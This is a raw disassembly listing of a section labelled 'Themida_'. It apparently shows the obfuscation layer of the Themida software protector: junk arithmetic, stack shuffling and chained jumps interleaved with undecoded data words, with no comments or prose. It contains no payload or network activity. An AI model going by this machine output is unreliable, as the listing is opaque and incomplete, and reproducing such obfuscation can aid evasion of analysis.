		dd 8E05CC8h, 65E9C631h
		db 58h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_546A53:				; CODE XREF: Themida_:00553A49j
		mov	esp, [esp]
		jmp	loc_5571B4
; ---------------------------------------------------------------------------


loc_546A5B:				; CODE XREF: Themida_:0055638Ej
		sub	ebx, 366430E8h
		add	ebx, edi
		jmp	loc_54AC90
; ---------------------------------------------------------------------------


loc_546A68:				; CODE XREF: Themida_:00548A77j
		or	eax, eax
		jz	loc_5519AA
		push	dword ptr [edi+1Ch]
		push	dword ptr [esp]
		jmp	loc_54ADEC
; ---------------------------------------------------------------------------
		db 5Ch
		dd 81F4E9h, 4C28300h, 0E9241487h, 1D69h
; ---------------------------------------------------------------------------


loc_546A8C:				; CODE XREF: Themida_:005578F0j
		xor	esi, ecx
		mov	ecx, [esp]
		push	ecx
		mov	ecx, esp
		push	eax
		mov	eax, 44C44834h
		dec	eax
		shl	eax, 1
		jmp	loc_5517B9
; ---------------------------------------------------------------------------
		dw 0BD66h
		dd 89665AF0h, 0E95D66E8h, 0FFFFFF45h, 4E42E95Ch, 8B540000h
		dd 0C483242Ch, 5C596804h, 34890000h, 32AFBE24h,	0EE817570h
		dd 66A264F3h, 4544B951h, 0CE312868h, 81240C8Bh,	4C4h, 68EED100h
		dd 7DFAh, 1054EE9h, 281B0400h, 0EB02E9F0h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_546AF6:				; CODE XREF: Themida_:0054C314j
		push	eax
		mov	eax, esp
		jmp	loc_550E5A
; ---------------------------------------------------------------------------
		dw 148Bh
		dd 0FD2CE924h, 0E789FFFFh, 4C781h, 0A1E90000h, 1FFFFC2h
		dd 0EC8353D1h, 24348904h, 4FBEE9h, 4C18100h, 83000000h
		dd 0C8704E9h, 4895C24h,	98AE924h, 34FF0001h, 242C8B24h
		dd 8904EC83h, 8B54241Ch, 0C483241Ch, 67996804h,	4890000h
		dd 9CF6E924h, 0CB80000h, 5781E1Ah, 1, 269C912Dh, 6E7CE93Ah
		dd 0E3C10000h, 1CEB8102h, 52407E1Ch, 9CDD17BAh,	5AD3319Dh
		dd 99E9D801h, 81000010h, 4C4h, 0E0895000h, 405h, 4C08300h
		dd 5C240487h, 0FF2434FFh, 2C8B2434h, 4C48124h, 83000000h
		dd 895704C4h, 4EC81E7h,	0E9000000h, 0FFFFF331h,	515266ACh
		dd 0E9C0DAB1h, 0BFE98002h, 59CE88h, 665A66F0h, 0AF6E952h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_546BD2:				; CODE XREF: Themida_:005579D1j
		pop	eax
		push	ebx
		mov	ebx, 4
		add	edx, ebx
		pop	ebx
		xor	edx, [esp]
		xor	[esp], edx
		jmp	loc_54DD44
; ---------------------------------------------------------------------------
		db 25h
		dd 2A78495Eh, 0E907E8C1h, 107F5h, 0BB943A2Dh, 58C129CCh
		dd 0DCFEF181h, 0C1E9839Eh, 55FFFFE5h, 96CDE9h, 8382B200h
		dd 896602ECh, 0B5512404h, 8EDC089h, 52B7C580h, 0BB868h
		dd 24048900h, 0E5E951h
		db 1, 0
; ---------------------------------------------------------------------------


loc_546C2E:				; CODE XREF: Themida_:0054E601j
		mov	[esp], ebp
		mov	ebp, 1B1326B0h
		push	ebp
		mov	ebp, 109A6A5Ch
		xor	ebp, 452C046Ah
		inc	ebp
		jmp	loc_54A36B
; ---------------------------------------------------------------------------


loc_546C48:				; CODE XREF: Themida_:0054F8F0j
		pop	edi
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_5522E6
; ---------------------------------------------------------------------------
		dd 525DE829h, 9B56B868h, 2CE95A1Dh
		db 0CDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_546C63:				; CODE XREF: Themida_:0054F3A7j
		pop	bp
		add	bx, bp
		sub	bx, 8D9h
		pop	ebp
		movzx	eax, ax
		jmp	loc_551C97
; ---------------------------------------------------------------------------
		dw 0EE83h
		dd 24348704h, 8924248Bh, 0E2B82404h, 50066B46h,	1240483h
		dd 14EFE958h, 0C2810000h, 347437B2h, 0EA81EA29h, 347437B2h
		dd 0E9242C8Bh, 6E74h
; ---------------------------------------------------------------------------


loc_546CA8:				; CODE XREF: Themida_:00552111j
		mov	ebp, 4D7A7719h
		or	ebp, 4FF786Fh
		push	7BE0h
		mov	[esp], ebx
		mov	ebx, 15652631h
		sub	ebx, 18CD31F2h
		shl	ebx, 1
		dec	ebx
		xor	ebx, 0BCC6839h
		add	ebx, 5B1BFF37h
		xor	ebp, ebx
		mov	ebx, [esp]
		add	esp, 4
		add	eax, 1B7B4395h
		add	eax, ebp
		sub	eax, 1B7B4395h
		mov	ebp, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		jmp	loc_54AAB2
; ---------------------------------------------------------------------------


loc_546D00:				; CODE XREF: Themida_:00543774j
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_54E22C
; ---------------------------------------------------------------------------
aMh3		db '¬hÚ3',0
		dw 8900h
		dd 0FB7241Ch, 8032B551h, 0E5C055F5h, 8B99E906h,	5C290000h
		dd 5B5B0824h, 81243C8Bh, 4C4h, 50E95000h, 10000F6h, 24348BF5h
		dd 8704C483h, 248B242Ch, 0B9B6E924h, 0E95FFFFFh, 10BC1h
; ---------------------------------------------------------------------------


loc_546D5C:				; CODE XREF: Themida_:00555DD5j
		pop	edi
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebx
		mov	bl, 1Dh
		shr	bl, 3
		or	bl, 0D3h
		shl	bl, 5
		add	bl, 3Fh
		push	ecx
		push	2371h
		mov	[esp], edx
		mov	dh, bl
		mov	cl, dh
		jmp	loc_545908
; ---------------------------------------------------------------------------
		dd 0E9A2B252h, 2EFFh, 1C8BD801h, 4C48124h, 50000000h, 0E11BF57h
		dd 8CB83118h, 1ED6F04h,	0C17DE9F8h, 0D929FFFFh,	81E9015Bh
		dd 1D3F2AC1h, 45CDE905h, 0C4810000h, 4,	51686853h, 0C15B718Fh
		dd 0F38108E3h, 50CC7298h, 0AE3BEB81h, 0DA292268h, 5AD0895Bh
		dd 34FFC189h, 0D3D3E924h, 0E92D0000h, 0E960CE59h, 103B0h
		dd 8124148Bh, 4C4h, 5211E900h, 0E2890000h, 4C281h, 0EA830000h
		dd 0D455E904h, 0F742FFFFh, 8E2C1DAh, 0DE6E9h, 59CD2100h
		dd 0F600C581h, 0EE01FF7Fh, 4933E9h, 4C48300h, 4EC81h, 14890000h
		dd 4EC8124h, 0E9000000h, 9C0Dh
; ---------------------------------------------------------------------------


loc_546E40:				; CODE XREF: Themida_:00544EB1j
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 4
		push	53F0h
		jmp	loc_554731
; ---------------------------------------------------------------------------
		dd 2434FF54h, 4C4815Ah,	81000000h, 4C2h, 51505700h, 0FE7528B9h
		dd 9701E901h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_546E76:				; CODE XREF: Themida_:00552BF5j
		dec	ebp
		jmp	loc_556AC6
; ---------------------------------------------------------------------------


loc_546E7C:				; CODE XREF: Themida_:005513CEj
		push	edi
		mov	edi, 1D4B4B9Dh
		add	esi, edi
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		push	esi
		push	dword ptr [esp]
		pop	eax
		push	ecx
		jmp	loc_557079
; ---------------------------------------------------------------------------
		db 81h,	0CBh, 0F0h
aQRussc9	db '(´',7,'Q¹Ð<àuSé—9',0
		db 0
; ---------------------------------------------------------------------------


loc_546EAB:				; CODE XREF: Themida_:00547F6Dj
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_551775
; ---------------------------------------------------------------------------
		dd 0C381DBF7h, 57353F7Ah, 0FFF6A7E9h, 83E959FFh, 55000013h
		dd 8124348Bh, 4C4h, 242C8B00h, 3104C483h, 2434FFF0h, 82FCE9h
		dd 0E9C1FE00h, 109ADh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_5463DD
; ---------------------------------------------------------------------------
		dd 4C581h, 2C870000h, 94685C24h, 8900005Bh, 36E9241Ch
		dd 5F000074h, 0A226E953h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_546F12:				; CODE XREF: Themida_:0055254Bj
		and	eax, 46D94320h
		sub	eax, 4699031Ch
		add	edi, 22977386h
		jmp	loc_554961
; ---------------------------------------------------------------------------


loc_546F27:				; CODE XREF: Themida_:0054A3FFj
		mov	esi, 471A6156h
		sub	eax, esi
		pop	esi
		jmp	loc_545385
; ---------------------------------------------------------------------------


loc_546F34:				; CODE XREF: Themida_:00544F2Cj
		add	ebx, 4
		add	ebx, 4
		push	ebx
		push	dword ptr [esp+4]
		pop	ebx
		jmp	loc_550988
; ---------------------------------------------------------------------------
		dd 398BED81h, 0BF576995h, 6D1B0635h, 2E33E9h, 4C48300h
		dd 31243433h, 34332434h, 0E06BE924h, 27050000h,	0E9427F0Ah
		dd 4507h
; ---------------------------------------------------------------------------


loc_546F74:				; CODE XREF: Themida_:00548942j
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_5462E6
; ---------------------------------------------------------------------------
		db 83h
		dd 0BB5304C4h, 4486CF3h, 4BDDF381h, 0C3833F9Dh,	5CC38101h
		dd 2936DC26h, 0C2815BDAh, 2EF77EE4h, 0EC28E94Ah, 0D801FFFFh
		dd 0FFCD94E9h, 6D4FBFFFh, 0F82974D1h, 83243C8Bh, 0B32D04C4h
		dd 5586665h, 229B0FC3h,	746AE925h, 0E7010522h, 7BE95EC2h
		db 66h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_546FD3:				; CODE XREF: Themida_:00557635j
		add	edx, 4
		jmp	loc_5456AE
; ---------------------------------------------------------------------------


loc_546FDE:				; CODE XREF: Themida_:00553D3Bj
		mov	edx, [esp]
		add	esp, 4
		sub	si, 0FFFFh
		sub	esp, 2
		mov	[esp], si
		add	word ptr [esp],	1
		pop	si
		sub	si, 5AA5h
		add	dx, si
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		jmp	loc_54E66B
; ---------------------------------------------------------------------------


loc_54700B:				; CODE XREF: Themida_:005513B6j
		push	edi
		mov	edi, 1FB10920h
		jmp	loc_54F059
; ---------------------------------------------------------------------------
		dw 966h
		dd 0E99C2404h, 0FFFFB6ECh, 21E9FD89h, 8B00001Ah, 0C483240Ch
		dd 0D9E95B04h, 87FFFFB6h, 665C240Ch, 4816652h, 663B2824h
		dd 81E95758h
		db 0D8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_547047:				; CODE XREF: Themida_:005456B5j
		mov	[esp], eax
		push	ecx
		push	dword ptr [esp]
		jmp	loc_556899
; ---------------------------------------------------------------------------


loc_547053:				; CODE XREF: Themida_:005516A3j
		add	ebp, 4
		jmp	loc_548163
; ---------------------------------------------------------------------------
		align 4
		dd 0AF5EE9F8h, 5E500000h, 5AE68158h, 684DBD75h,	5426h
		dd 0B8240489h, 0FFFFFFFFh, 6DF0EE81h, 0C6015A4Bh, 6DF0C681h
		dd 81585A4Bh, 0A417F3F6h, 0ED9CE905h, 0EF81FFFFh, 35520354h
		dd 4469E781h, 814F0AE9h, 0A37488CFh, 0C9BBE933h, 0F281FFFFh
		dd 886EFBA9h, 89D58955h, 242C8BEFh, 0F4CE9h
		db 0
; ---------------------------------------------------------------------------


loc_5470BD:				; CODE XREF: Themida_:00555074j
		sub	ebx, 0CE62FEA6h
		push	ebx
		not	dword ptr [esp]
		jmp	loc_544611
; ---------------------------------------------------------------------------


loc_5470CC:				; CODE XREF: Themida_:00547E02j
		jmp	loc_54270C
; ---------------------------------------------------------------------------
		db 2Dh,	0FFh, 3Dh
		dd 0DD0527B7h, 0E9191482h, 5C53h
; ---------------------------------------------------------------------------


loc_5470E0:				; CODE XREF: Themida_:00551C5Fj
		push	eax
		jmp	loc_549BD3
; ---------------------------------------------------------------------------


loc_5470E6:				; CODE XREF: Themida_:005537FDj
		pop	esi
		add	esp, 4
		jmp	loc_545D70
; ---------------------------------------------------------------------------
		dw 0CE80h
		dd 60E680CCh, 5008EEC0h, 2F2454B0h, 0E902E8C0h,	0A41Dh
		dd 44E91C2Ch, 83FFFFF7h, 5D042404h, 0DE268h, 24048900h
		dd 2FA3E957h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_547122:				; CODE XREF: Themida_:0054562Cj
		add	esp, 4
		push	edi
		mov	edi, 58D935E4h
		push	edx
		mov	edx, 44A82FA7h
		xor	edx, 535871D7h
		or	edi, edx
		pop	edx
		add	edi, 0FFFFFFFFh
		sub	edi, 204D3E96h
		shr	edi, 8
		xor	edi, 3FAC45h
		add	eax, edi
		jmp	loc_557306
; ---------------------------------------------------------------------------
aIsu		db 'Iéî',27h,0
		align 4


loc_54715C:				; CODE XREF: Themida_:0054D621j
		add	edx, 0B7306CA4h
		add	eax, edx
		pop	edx
		push	eax
		pop	ebp
		mov	eax, [esp]
		add	esp, 4
		add	edi, 2BBA2156h
		jmp	loc_5536C4
; ---------------------------------------------------------------------------
		db 68h
		dd 173B71A9h, 0E9DD315Dh, 0FFFFF1A0h, 0AD4DE959h, 24890000h
		dd 745AE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_547196:				; CODE XREF: Themida_:005532DAj
		pop	ecx
		add	ecx, 4
		add	ecx, 4
		jmp	loc_544E40
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 4
		dd 0E9000000h, 66FBh, 5C240487h, 83243C89h, 0C8904ECh
		dd 3F766824h, 0C8B4897h, 4C48124h, 51000000h, 0E92414F7h
		dd 0B450h, 0F724248Bh, 4EC81F9h, 0E9000000h, 888Dh, 48CBEF81h
		dd 0EF812787h, 0B0746528h, 2FC7814Fh, 10F8A0Bh,	55535FFEh
		dd 0F8D2E9h
		db 0
; ---------------------------------------------------------------------------


loc_547201:				; CODE XREF: Themida_:00549D46j
		inc	edi
		add	edi, 3AF6229h
		jmp	loc_544951
; ---------------------------------------------------------------------------
		db 81h,	0EFh, 18h
		dd 2929167Ch, 18C781DFh, 5B29167Ch, 4BE5658h, 1000000h
		dd 3C335EF7h, 243C3124h, 287FE9h
		db 0
; ---------------------------------------------------------------------------


loc_547231:				; CODE XREF: Themida_:00545EE4j
		mov	edx, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		jmp	loc_54F829
; ---------------------------------------------------------------------------


loc_547248:				; CODE XREF: Themida_:005444B1j
		add	edx, 4
		push	ebp
		jmp	loc_54D8B8
; ---------------------------------------------------------------------------
		dd 0C380C300h, 54E9588Eh
		db 0BEh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_54725F:				; CODE XREF: Themida_:0054333Aj
		xor	edi, 30B43106h
		xor	edi, 5B550F9Ch
		not	edi
		add	edi, 7FE3796Dh
		xor	edi, 6B95440Ch
		jmp	loc_5516A0
; ---------------------------------------------------------------------------
		dw 0E389h
		dd 4EC81h, 2C890000h, 68C0E924h, 0EB290000h, 34B7C381h
		dd 595D46A6h, 558EB850h, 0BB5304D8h, 0FFFFFFFFh, 34FFD829h
		dd 83E95B24h, 100002Ch,	0F6C281C2h, 0E939D55Bh,	0FFFFB450h
		dd 81DAF75Ah, 5CE388F2h, 0E9D689D4h, 0D199h, 0BB99E957h
		dd 0EDC1FFFFh, 0AAED8102h, 8901D346h, 0FB295DEFh, 33C3815Fh
		dd 1248C14h, 2434FFDEh,	0E089505Bh, 8478E956h, 0E9580000h
		dd 0FFFFE87Fh
; ---------------------------------------------------------------------------


loc_5472FC:				; CODE XREF: Themida_:0054DA26j
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_54E4E8
; ---------------------------------------------------------------------------
		db 0FFh
a4Sap		db '4$^é',0
		align 10h
		dd 59D5E981h, 0CF017D67h, 2C78359h, 2474FF57h, 48F5F04h
		dd 24248B24h, 38EDE9h, 0F3815E00h, 74D01154h, 6DEEC381h
		dd 6CE91B31h
		db 40h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54733F:				; CODE XREF: Themida_:0054508Dj
		movzx	eax, al
		push	edx
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		jmp	loc_55093D
; ---------------------------------------------------------------------------
		dd 3A356850h, 2D584392h, 2DE4088Ch, 0AE31AD35h,	58C58915h
		dd 2A48C181h, 28E90A7Ch
		db 9Dh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_547377:				; CODE XREF: Themida_:005534BEj
		pop	dword ptr [esp]
		pop	esp
		push	dword ptr [esp]
		jmp	loc_544115
; ---------------------------------------------------------------------------
		db 81h
		dd 7073E2C1h, 56F90145h, 82E9E689h
		db 0BFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_547393:				; CODE XREF: Themida_:00554F26j
		neg	eax
		shr	eax, 5
		add	eax, 6623EEC1h
		jmp	loc_556F9B
; ---------------------------------------------------------------------------
		dw 8156h
		dd 4ECh, 24048900h, 0BD3E3D68h,	0CE35583Ch, 501AF41h, 0C2ED8011h
		dd 0B3A5E9h, 2BED8000h,	28C0ED80h, 70E959EBh, 0F7000004h
		dd 19AAE9D2h, 3C330000h, 243C3124h, 5C243C33h, 4468E1F7h
		dd 8900006Fh, 9C502414h, 0FFB31BE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5473F1:				; CODE XREF: Themida_:005485B0j
		shr	bh, 8
		inc	bh
		push	cx
		mov	cl, 52h
		sub	bh, 0DDh
		jmp	loc_545B09
; ---------------------------------------------------------------------------
aM0S		db '¬0Øé~Õ',0
		align 2
		dw 0D6F7h
		dd 2414F756h, 9CE815Eh,	55453471h, 917914BDh, 5DEE2942h
		dd 0A0E9F129h, 81000023h, 0BA2926C2h, 81CA292Bh, 0BA2926EAh
		dd 240C8B2Bh, 0E904C483h, 0FFFFB9E5h, 148BD588h, 0E2E95124h
		db 45h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54744B:				; CODE XREF: Themida_:00549153j
		push	dword ptr [esp]
		pop	edx
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		mov	esp, [esp]
		add	[esp+4], ecx
		push	dword ptr [esp]
		pop	ecx
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_55467C
; ---------------------------------------------------------------------------
		dw 405h
		dd 83000000h, 48704C0h,	34FF5C24h, 2434FF24h, 4C48358h
		dd 0E9E28952h, 0FFFFE8F6h
; ---------------------------------------------------------------------------


loc_547498:				; CODE XREF: Themida_:0055054Cj
		push	esi
		jmp	loc_54C2FF
; ---------------------------------------------------------------------------
		dw 348Bh
		dd 0E0895024h, 727BB951h, 0F1817B4Fh, 7B4F727Fh, 0FA0E1F2Dh
		dd 5C80167h, 67FA0E1Fh,	4C08359h, 0E9240487h, 1D36h, 0C581E589h
		dd 4, 4ED81h, 2C870000h, 39E95C24h
		db 3Bh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5474DF:				; CODE XREF: Themida_:0055631Fj
		add	ebx, edi
		pop	edi
		push	eax
		jmp	loc_5435DE
; ---------------------------------------------------------------------------
		dd 80ADE480h, 0E688CDC4h, 69F7E958h, 34890000h,	2BBABE24h
		dd 0F72968A8h, 8124348Bh, 4C4h,	5DBA5200h, 9716621h, 31475AD7h
		dd 0F7F0E9C7h, 0C5810000h, 0A32BD034h, 42B4BA52h, 814A26ADh
		dd 0AB1528EAh, 0FFC28162h, 68FFFFFFh, 2109h, 0E9243489h
		dd 94F6h, 2D06E681h, 0DEF71020h, 0FFCEBFE9h, 0E9D2F7FFh
		dd 6737h, 0E9240C31h, 0F545h, 4C181h, 0C1810000h, 2, 0FFFAC6E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54756D:				; CODE XREF: Themida_:005486C2j
		sub	edi, 0A802127h
		pop	esi
		mov	ecx, edi
		pop	edi
		jmp	loc_544603
; ---------------------------------------------------------------------------
		dd 0E9243489h, 0FD60h
; ---------------------------------------------------------------------------


loc_547584:				; CODE XREF: Themida_:00556568j
		mov	[esp], ecx
		mov	ecx, esp
		push	3A81h
		jmp	loc_542AC1
; ---------------------------------------------------------------------------
		dd offset dword_49005C+1B70Ch
		align 4
		dd 54241489h, 5A2434FFh, 4C481h, 0BF680000h, 89000006h
		dd 4BD242Ch, 1000000h, 2434FFEAh, 81242C8Bh, 4C4h, 4C48300h
		dd 7A836850h, 14890000h, 0FE2BE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5475D2:				; CODE XREF: Themida_:005496F0j
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], esp
		push	ebp
		jmp	loc_557762
; ---------------------------------------------------------------------------
		db 0F7h
		dd 68D0h, 4290000h, 0BB535824h,	18B831B2h, 0E95BD821h
		dd 9B57h, 8105E2C1h, 4D2740E2h,	118E928h, 0FA090000h, 71BD555Fh
		dd 13E505Ch, 0C2815DEAh, 0C99B6A36h, 0F8249205h, 2DD0016Ah
		dd 6AF82492h, 7E5DE9h, 0E9DDF700h, 36F2h, 1B221C05h, 2DF00104h
		dd 41B221Ch, 57F6B951h,	0CA2D59C7h, 2936042Bh, 2BCA05C8h
		dd 2D593604h, 69E2765Bh, 5E2434FFh, 4C481h, 57530000h
		dd 0C7815F54h, 4, 4EF81h, 3C330000h, 0D22FE924h, 61B9FFFFh
		dd 0C1089F29h, 0E98104E9h, 590D7CEDh, 3A07E9h
		db 0
; ---------------------------------------------------------------------------


loc_54769D:				; CODE XREF: Themida_:005484CEj
		xchg	ebx, [esp]
		pop	esp
		add	esp, 4
		shr	eax, 0Ah
		xor	eax, ecx
		push	3CFFh
		mov	[esp], eax
		push	edx
		pop	eax
		push	dword ptr [esp]
		jmp	loc_544714
; ---------------------------------------------------------------------------
		dw 0D2BDh
		dd 0E93AF139h, 0FFFFC42Ah, 1EE9ABB6h, 81FFFFF4h, 2479B0C1h
		dd 4EE9816Ch, 5F665F14h, 0E28CE9h
		db 0
; ---------------------------------------------------------------------------


loc_5476E1:				; CODE XREF: Themida_:00552D6Bj
		mov	[esp], bx
		mov	bl, 1Ch
		sub	al, bl
		pop	bx
		sub	al, 31h
		sub	al, cl
		add	al, 31h
		add	al, 1Ch
		jmp	loc_552867
; ---------------------------------------------------------------------------
		dd 5D2434FFh, 8704C483h, 815C240Ch, 4ECh, 241C8900h, 0FFFB6DE9h
		dd 55858FFh, 7D70739Bh,	48BC189h, 4C48124h, 5D000000h
		dd 8B1C4F21h, 0C483240Ch, 76E9E904h, 0EA810000h, 280121FCh
		dd 9D5FE9h, 48F5E00h, 6EEF6824h, 34890000h, 7C2A6824h
		dd 29E90000h, 53FFFFFEh, 7A0FE956h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54775A:				; CODE XREF: Themida_:loc_54534Ej
		push	2A17h
		mov	[esp], edi
		push	10h
		mov	edi, [esp]
		add	esp, 4
		and	ebx, edi
		jmp	loc_549853
; ---------------------------------------------------------------------------


loc_547777:				; CODE XREF: Themida_:0054C701j
		mov	edx, 35DE238Fh
		dec	edx
		xor	edx, ebp
		jmp	loc_554BC7
; ---------------------------------------------------------------------------
		dd 3104C483h, 1DB2E9EBh, 8B350000h, 0C1494526h,	6BE906E8h
		dd 5F00005Dh, 0E9241487h, 13DCh, 0C9DB951h, 28E95B8Bh
		dd 0FF0000A9h, 48B2434h, 0B54FE924h, 0E949FFFFh, 0FFFFFB50h
		dd 2434FF5Fh, 4C4835Fh,	31240C33h, 0C33240Ch, 0D211E924h
		dd 815D0000h, 0F90D56EEh, 0E9DEF71Ch, 0FFCCh, 0E9F78853h
		dd 0A4EAh, 4BD55h, 0EE290000h, 1CA4E9h,	240C8B00h, 0FFB789E9h
		dd 2DC181FFh, 312CB334h, 240C8BCDh, 8B04C483h, 0C481241Ch
		dd 4, 306BB850h, 0C5292945h, 1C6F2158h,	8B2434FFh, 0C481242Ch
		dd 4, 81E68956h, 4C6h, 78E95000h, 0FFFFB2h, 73C380C3h
		dd 8324048Bh, 0B35304C4h, 0E9D3F68Bh, 75FEh, 3659C781h
		dd 0CF810286h, 15B2E95h, 0BE8CF781h, 0EDE9B787h, 0BA000010h
		dd 65B0642Ch, 49D4E281h, 0EAD12948h, 0C2814A42h, 6900412Eh
		dd 0EFA8E9h, 527D6800h,	4890000h, 2474FF24h, 24048B04h
		dd 0E904C483h, 0FFFFBB45h
; ---------------------------------------------------------------------------


loc_54789C:				; CODE XREF: Themida_:0054AAEAj
		mov	ebp, 2E70748Eh
		jmp	loc_55482D
; ---------------------------------------------------------------------------
		dw 0EC83h
		dd 80A3E904h, 3C890000h, 4EC8324h, 0AD1FE9h
		db 0
; ---------------------------------------------------------------------------


loc_5478B9:				; CODE XREF: Themida_:00555E1Fj
		pop	eax
		add	edx, 4
		xor	edx, [esp]
		jmp	loc_550525
; ---------------------------------------------------------------------------
		dd 26EA68h, 774BE900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5478D2:				; CODE XREF: Themida_:0054CE19j
		xor	ebx, 0E49AE6D3h
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_5546A9
; ---------------------------------------------------------------------------
		dw 0C0FEh
		dd 0FFBB87E9h, 28BA52FFh, 1000000h, 4EC81FAh, 89000000h
		dd 0B9240Ch, 1000000h, 590188D1h, 8324148Bh, 34FF04C4h
		dd 0EEBDE924h, 0EC81FFFFh, 4, 59241C89h, 0E92434FFh, 0FFFFB4D6h
		dd 0E9D8295Ah, 734Fh, 0C7EABF57h, 0FA29FD31h, 7A7DE95Fh
		dd 0E7890000h, 852BE56h, 0CE8154F5h, 312B6F44h,	0AE0CE81h
		dd 0DEF77D40h, 8108E6C1h, 900A04F6h, 5EC78100h,	1721D28h
		dd 0DD81E9F7h, 8B660000h, 3E68240Ch, 89000001h,	0E2892414h
		dd 8904EC83h, 0BE562404h, 48415209h, 3D1E681h, 0C6810458h
		dd 0FFBFFE03h, 348BF089h, 0E2895224h, 4C281h, 0C2830000h
		dd 24148704h, 9EE9505Ch, 8B0000A9h, 0C4812414h,	4, 0B5088805h
		dd 0E9F8012Bh, 666Bh, 7D04C828h, 803AB353h, 0E95269CBh
		dd 9C8Ah
; ---------------------------------------------------------------------------


loc_5479D0:				; CODE XREF: Themida_:00544E89j
		mov	[esp], edx
		mov	edx, 27A2266Dh
		sub	edx, 7ADC3753h
		not	edx
		sub	edx, 5A045773h
		jmp	loc_5567D8
; ---------------------------------------------------------------------------
		db 89h
		dd 0C2B62414h, 8014B551h, 0ED806FF5h, 0E9EE20BFh, 1E7Bh
		dd 0C531E831h, 0A2E9D0F7h, 0FFFFFFB1h, 0C8B2434h, 4C48324h
		dd 5CC68h, 0EBE1E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_547A1E:				; CODE XREF: Themida_:0054CFE8j
		pop	edx
		jmp	loc_54290A
; ---------------------------------------------------------------------------
		dd 0E728CEB4h, 68665866h, 896641AFh, 0FE882414h, 2454F652h
		dd 0DA3FE901h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_547A3E:				; CODE XREF: Themida_:00544E2Fj
		pop	edi
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_543DE9
; ---------------------------------------------------------------------------
		dd 0DCA4C281h, 0C7811EE9h, 63D0036Bh, 0EF81D701h, 63D0036Bh
		dd 0E924148Bh, 0FFFFD2D8h, 73C168h, 0DFE8E900h,	0E9550000h
		dd 0FFFFB4F9h, 0DA50E95Fh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_547A7A:				; CODE XREF: Themida_:005519C3j
		xor	dword ptr [esp], 0BB12ED3h
		pop	edx
		jmp	loc_549478
; ---------------------------------------------------------------------------


loc_547A87:				; CODE XREF: Themida_:0054C60Cj
		push	edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_551189
; ---------------------------------------------------------------------------


loc_547A95:				; CODE XREF: Themida_:0054A220j
		add	esi, 82F68A71h
		mov	ebp, esi
		pop	esi
		add	ebp, 11574042h
		jmp	loc_54DDDC
; ---------------------------------------------------------------------------
		db 68h,	3, 2Bh
		dd 2C890000h, 0C032E924h, 68570000h, 2,	10BA525Fh, 8104FF31h
		dd 0D35445F2h, 5AD10113h, 6E35BD55h, 0E90123EEh, 81F9015Dh
		dd 0EE6E35E9h, 0E9565723h, 0BBD6h, 34FFF729h, 0C4815E24h
		dd 4, 9860E9h, 56CD2900h, 8041D6BEh, 5EF50106h,	0AC6C581h
		dd 159017Ch, 0B9C581D5h, 8B08C26Eh, 0E9512414h,	65F3h
		dd 112FE958h, 0C7810000h, 4, 5C243C87h,	1356E9h
		db 0
; ---------------------------------------------------------------------------


loc_547B2D:				; CODE XREF: Themida_:00552D00j
		inc	ah
		xor	ah, 0D4h
		jmp	loc_544887
; ---------------------------------------------------------------------------
		db 87h
		dd 895C2414h, 0EC832414h, 240C8904h, 168C188h, 8900007Ah
		dd 0CB88241Ch, 63FB68h,	240C8900h, 8853D988h, 5BDE88CBh
		dd 34FF5B59h, 46CEE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_547B6A:				; CODE XREF: Themida_:0054A335j
		pop	edi
		push	ecx
		jmp	loc_55028C
; ---------------------------------------------------------------------------
		db 87h,	0Ch, 24h
		dd 0D0E9D1F7h, 5200004Ch, 45BFE9h, 4C48100h, 83000000h
		dd 9CE904ECh, 8100001Ah, 4C6h, 24348700h, 0E924248Bh, 0FFFFE705h
; ---------------------------------------------------------------------------


loc_547BA0:				; CODE XREF: Themida_:005518E1j
		sub	esp, 4
		mov	[esp], eax
		push	ebp
		pop	eax
		push	eax
		add	dword ptr [esp], 2D55B63h
